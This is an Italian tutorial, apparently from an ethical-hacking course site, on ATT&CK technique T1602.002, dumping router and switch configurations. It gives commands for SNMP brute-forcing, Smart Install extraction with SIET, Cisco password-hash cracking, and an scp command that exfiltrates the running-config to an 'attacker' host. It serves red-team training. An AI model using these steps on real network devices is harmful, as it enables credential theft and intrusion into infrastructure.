Dump Configurazione Apparati di Rete: Network Device Configuration Dump (T1602.002)
La tecnica T1602.002 — Network Device Configuration Dump descrive l'attività con cui un attaccante estrae il file di configurazione da router, switch e altri apparati di rete per ricavare informazioni sensibili sul dispositivo e sull'infrastruttura circostante. Il file di configurazione, che gli apparati mantengono sia in RAM (running-config) sia in memoria non volatile (startup-config), è una miniera di dati: topologia, VLAN, ACL, community string SNMP, chiavi pre-shared VPN, hash di password locali e talvolta credenziali TACACS/RADIUS.
La tecnica ricade nella tattica TA0009 (Collection) della matrice ATT&CK Enterprise. Nella kill chain si colloca dopo un accesso iniziale al piano di management del dispositivo, spesso ottenuto tramite credenziali deboli, exploit su servizi esposti (Smart Install, SNMP con community pubbliche, interfacce web di gestione) o pivot da un host già compromesso. I dati estratti alimentano fasi successive come Credential Access, Lateral Movement e Discovery.
L'impatto è amplificato dal fatto che gli apparati di rete sono raramente coperti da EDR e vengono monitorati meno degli endpoint. Un singolo dump di configurazione da un core router può esporre l'intero disegno di rete e fornire materiale per settimane di attività laterale silenziosa. La minaccia è concreta: il gruppo Salt Typhoon, tracciato come G1045, ha fatto ricorso proprio a questa tecnica per raccogliere credenziali da dispositivi di rete compromessi in campagne contro operatori di telecomunicazioni.
In un ingaggio red team autorizzato, l'estrazione della configurazione di un apparato di rete parte quasi sempre dalla ricognizione dei servizi di management esposti. Uno scan mirato con Nmap (open source) verso porte tipiche come 161/udp (SNMP), 4786/tcp (Smart Install), 22/tcp e 23/tcp fornisce la superficie iniziale:
nmap -sU -p161 --script snmp-info,snmp-brute
Se SNMP risponde con community deboli tipo public o private, il passo successivo è enumerare gli OID rilevanti. snmpwalk dal pacchetto net-snmp (open source) permette di leggere l'MIB e, con community RW, di forzare il device a esportare la configurazione via TFTP verso un server controllato:
snmpwalk -v2c -c public
Su piattaforme Cisco IOS l'OID CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96) consente esattamente questa operazione: si imposta la sorgente (running-config), la destinazione (network file), il protocollo (TFTP) e l'IP del server, quindi si triggera la copia. Il tool copy-router-config.pl e il modulo Metasploit auxiliary/scanner/snmp/cisco_config_tftp (open source) automatizzano la sequenza.
Per Smart Install, il framework SIET — Smart Install Exploitation Tool (open source, disponibile su GitHub) sfrutta l'assenza di autenticazione del protocollo per ottenere la configurazione:
python siet.py -g -i
Il file <ip>.conf viene salvato in locale e contiene running-config completa, spesso con hash di tipo 7 (reversibili banalmente con ciscot7, open source) o hash type 5/8/9 attaccabili con Hashcat (open source, modalità 500, 5700, 9200, 9300).
Se l'accesso è invece già ottenuto in CLI via SSH, il red teamer esegue direttamente show running-config, show startup-config e show tech-support per catturare l'intero stato dispositivo. L'esfiltrazione può avvenire con copy running-config scp://user@attacker/config.txt per ridurre l'esposizione rispetto a TFTP in chiaro.
Post-estrazione, l'analisi della configurazione con script Python custom o Nipper (a pagamento, con edizione community limitata) evidenzia credenziali, chiavi VPN e ACL utili per pianificare movimento laterale. In lab, un ambiente GNS3 o EVE-NG (entrambi freemium) con immagini IOS/IOS-XE consente di provare l'intera catena senza toccare produzione.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo